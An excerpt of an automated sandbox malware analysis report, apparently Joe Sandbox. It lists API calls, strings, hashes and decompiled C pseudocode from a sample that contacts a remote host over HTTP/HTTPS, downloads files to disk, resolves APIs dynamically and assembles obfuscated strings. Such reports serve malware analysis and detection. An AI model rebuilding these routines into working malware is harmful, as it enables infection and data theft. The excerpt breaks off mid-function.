Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

dx, xrefs: 0040552C
hox, xrefs: 0040565D
Hfx, xrefs: 00405567
Hqx, xrefs: 004055F1
0px, xrefs: 00405606
Xex, xrefs: 004054B6

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: dx$0px$Hfx$Hqx$Xex$hox
API String ID: 3671864319-393950398
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00575670, Relevance: 36.2, APIs: 18, Strings: 6, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 005756EC
lstrcat.KERNEL32(?,0041A7C4), ref: 00575700
lstrcat.KERNEL32(?,Xex), ref: 00575714
lstrcat.KERNEL32(?,0041A368), ref: 00575727
lstrcat.KERNEL32(?,0041A7C4), ref: 0057573B
lstrcat.KERNEL32(?,0041A3B4), ref: 0057574F
lstrcat.KERNEL32(?,0041A368), ref: 00575762
lstrcat.KERNEL32(?,0041A7C4), ref: 00575776
lstrcat.KERNEL32(?, dx), ref: 0057578A
lstrcat.KERNEL32(?,0041A368), ref: 0057579D
lstrcat.KERNEL32(?,0041A7C4), ref: 005757B1
lstrcat.KERNEL32(?,Hfx), ref: 005757C5
lstrcat.KERNEL32(?,0041A368), ref: 005757D8
lstrcat.KERNEL32(?,0041A7C4), ref: 005757EC
lstrcat.KERNEL32(?,0041A630), ref: 00575800
lstrcat.KERNEL32(?,0041A368), ref: 00575813
lstrcat.KERNEL32(?,0041A7C4), ref: 00575827
lstrcat.KERNEL32(?,0041A674), ref: 0057583B

Part of subcall function 00574C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00574C5E

Part of subcall function 00574C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00574C8A
Part of subcall function 00574C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00574CDF
Part of subcall function 00574C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00574D1F
Part of subcall function 00574C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00574D35
Part of subcall function 00574C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00574D67
Part of subcall function 00574C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00574D90
Part of subcall function 00574C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00574DBE
Part of subcall function 00574C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00574E0C
Part of subcall function 00574C30: InternetCloseHandle.WININET(?), ref: 00574E16
Part of subcall function 00574C30: InternetCloseHandle.WININET(00000000), ref: 00574E23

Part of subcall function 00574C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00574D00
Part of subcall function 00574C30: Sleep.KERNEL32(00007530), ref: 00574D46

Strings

hox, xrefs: 005758AD, 005758B3
Hfx, xrefs: 005757B7, 005757BD
dx, xrefs: 0057577C, 00575782
0px, xrefs: 00575856, 0057585C
Xex, xrefs: 00575706, 0057570C
Hqx, xrefs: 00575841, 00575846

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: dx$0px$Hfx$Hqx$Xex$hox
API String ID: 3671864319-393950398
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 5ad7055377f8a9a9550180e1512831c2b03f327e839866c4b5e1e9129f4e13df
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: C76186B651120CABC711EBA0ED88EDA37FCBB8C700F04C599B31952151DB74ABA8CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,007822D0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,007822D0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007822D0), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
200, xrefs: 0040534D

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 30.2, APIs: 3, Strings: 14, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				 *0x41a838 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
				E00407060();
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x788980
				_t307 =  *0x41a250; // 0x786fe0
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16);
				_t243 =  *0x41a1dc; // 0x7879f8
				_t309 =  *0x41a7a0; // 0x7883f8
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16);
				_t245 =  *0x41a750; // 0x787938
				_t311 =  *0x41a09c; // 0x786ba8
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16);
				_t247 =  *0x41a27c; // 0x788990
				_t313 =  *0x41a7cc; // 0x788378
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16);
				_t249 =  *0x41a520; // 0x7889b0
				_t315 =  *0x41a638; // 0x788278
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16);
				_t251 =  *0x41a42c; // 0x788a10
				_t317 =  *0x41a7d8; // 0x788318
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16);
				_t253 =  *0x41a5c8; // 0x788920
				_t319 =  *0x41a390; // 0x788338
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16);
				_t255 =  *0x41a47c; // 0x788900
				_t321 =  *0x41a068; // 0x786ce8
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16);
				_t257 =  *0x41a24c; // 0x787a70
				_t323 =  *0x41a168; // 0x788438
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16);
				_t259 =  *0x41a3e0; // 0x787a10
				_t325 =  *0x41a1d4; // 0x787b60
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16);
				_t261 =  *0x41a028; // 0x788ac0
				_t327 =  *0x41a5e0; // 0x788478
				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16);
				_t263 =  *0x41a614; // 0x788a30
				_t329 =  *0x41a738; // 0x786dd8
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16);
				_t265 =  *0x41a444; // 0x788ae0
				_t331 =  *0x41a338; // 0x788458
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16);
				_t267 =  *0x41a094; // 0x788a70
				_t333 =  *0x41a304; // 0x786bd0
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16);
				_t269 =  *0x41a440; // 0x788ab0
				_t335 =  *0x41a588; // 0x786b80
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16);
				_t271 =  *0x41a54c; // 0x7889c0
				_t337 =  *0x41a764; // 0x788358
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16);
				_t273 =  *0x41a6e0; // 0x7889d0
				_t339 =  *0x41a6b4; // 0x788838
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16);
				_t275 =  *0x41a100; // 0x787b78
				_t341 =  *0x41a078; // 0x786c70
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16);
				_t277 =  *0x41a708; // 0x788a40
				_t343 =  *0x41a5c4; // 0x787ad0
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16);
				_t279 =  *0x41a114; // 0x787a40
				_t345 =  *0x41a634; // 0x786ab8
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16);
				_t281 =  *0x41a3e8; // 0x7889e0
				_t347 =  *0x41a414; // 0x786100
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16);
				_t283 =  *0x41a398; // 0x788a60
				_t349 =  *0x41a024; // 0x786b30
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16);
				_t285 =  *0x41a3bc; // 0x788ad0
				_t351 =  *0x41a2c8; // 0x786220
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16);
				_t287 =  *0x41a5c0; // 0x787ba8
				_t353 =  *0x41a320; // 0x7862b0
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16);
				_t289 =  *0x41a350; // 0x788a20
				_t355 =  *0x41a0c4; // 0x786a18
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16);
				_t291 =  *0x41a2ec; // 0x787950
				_t357 =  *0x41a620; // 0x7861f0
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16);
				_t293 =  *0x41a020; // 0x787a88
				_t359 =  *0x41a704; // 0x782870
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16);
				_t295 =  *0x41a3d0; // 0x787aa0
				_t361 =  *0x41a224; // 0x788758
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16);
				_t297 =  *0x41a29c; // 0x787ae8
				_t363 =  *0x41a7e0; // 0x7863a0
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16);
				_t299 =  *0x41a57c; // 0x787bc0
				_t365 =  *0x41a34c; // 0x7828a8
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16);
				_t301 =  *0x41a060; // 0x788a90
				_t367 =  *0x41a0d0; // 0x786c48
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16);
				_t303 =  *0x41a1ec; // 0x7889f0
				_t369 =  *0x41a6dc; // 0x787bd8
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16);
				_t304 =  *0x41a21c; // 0x7878f0
				_t370 =  *0x41a484; // 0x7887f8
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0);
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0x787ab8
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4);
				E00407150();
				return E00407170();
			}

0x0040a700
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(00787058,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00787F50), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007884D8), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00787F68), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00788398), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00788418), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00787F98), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00788198), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00788118), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00787B48), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00787B48), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000000), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,007879C8), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(00787728), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(00000000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

bx, xrefs: 0040AA86
0kx, xrefs: 0040AA60
Pyx, xrefs: 0040AAF1
Hlx, xrefs: 0040ABB6
lx, xrefs: 0040A84C
x{x, xrefs: 0040A9C1
zx, xrefs: 0040AB63
pzx, xrefs: 0040A86B
8yx, xrefs: 0040A787
@zx, xrefs: 0040AA0D
`{x, xrefs: 0040A898
plx, xrefs: 0040A9C8
p(x, xrefs: 0040AB1E
ox, xrefs: 0040A742

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: bx$0kx$8yx$@zx$Hlx$Pyx$`{x$p(x$plx$pzx$x{x$lx$ox$zx
API String ID: 3801270024-3723777748
Opcode ID: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0057A950, Relevance: 30.2, APIs: 3, Strings: 14, Instructions: 489memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0057A95A
RtlAllocateHeap.NTDLL(00000000,?,005769FC), ref: 0057A961

Part of subcall function 005772B0: LoadLibraryA.KERNEL32(Xpx,?,0057A971,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005772B9
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 005772DF
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005772F7
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0057730F
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00577328
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00577340
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00577358
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00577371
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00577389

Part of subcall function 0057A640: lstrcat.KERNEL32(?,00000000), ref: 0057A684
Part of subcall function 0057A640: lstrcat.KERNEL32(?,?), ref: 0057A6A9
Part of subcall function 0057A640: lstrcat.KERNEL32(?,H{x), ref: 0057A6BD

Part of subcall function 0057A760: lstrcat.KERNEL32(?,00000000), ref: 0057A7A4
Part of subcall function 0057A760: lstrcat.KERNEL32(?,?), ref: 0057A7C9
Part of subcall function 0057A760: lstrcat.KERNEL32(?,H{x), ref: 0057A7DD

Part of subcall function 0057A870: lstrcat.KERNEL32(?,0041ABAC), ref: 0057A8B7
Part of subcall function 0057A870: lstrcat.KERNEL32(?,?), ref: 0057A8CB
Part of subcall function 0057A870: lstrcat.KERNEL32(?,0041A210), ref: 0057A8DF

lstrlen.KERNEL32(0041A838), ref: 0057AE66

Part of subcall function 005773A0: FreeLibrary.KERNEL32(0041A82C,?,0057AE98,0041A838,00000004), ref: 005773A9

Part of subcall function 005773C0: FreeLibrary.KERNEL32(0041A824,?,0057AE9D,0041A838,00000004), ref: 005773C9

Strings

@zx, xrefs: 0057AC5D, 0057AC63
pzx, xrefs: 0057AABB, 0057AAC1
plx, xrefs: 0057AC18, 0057AC1E
bx, xrefs: 0057ACD6, 0057ACDC
0kx, xrefs: 0057ACB0, 0057ACB6
Pyx, xrefs: 0057AD41, 0057AD47
x{x, xrefs: 0057AC11, 0057AC17
p(x, xrefs: 0057AD6E, 0057AD74
`{x, xrefs: 0057AAE8, 0057AAEE
8yx, xrefs: 0057A9D7, 0057A9DD
Hlx, xrefs: 0057AE06, 0057AE0C
zx, xrefs: 0057ADB3, 0057ADB9
lx, xrefs: 0057AA9C, 0057AAA2
ox, xrefs: 0057A992, 0057A998

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeap$AllocateLoadProcesslstrlen
String ID: bx$0kx$8yx$@zx$Hlx$Pyx$`{x$p(x$plx$pzx$x{x$lx$ox$zx
API String ID: 3556552367-3723777748
Opcode ID: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction ID: 93e1aaef3f56b2e9411d59976822bd9928b8e69cde1d0fde6cd77d19fc258273
Opcode Fuzzy Hash: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction Fuzzy Hash: 9F02C7B6605109BFC748EF98EC85DAB37BDBB8C700B04C11CBA1DD7255D634E9218BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
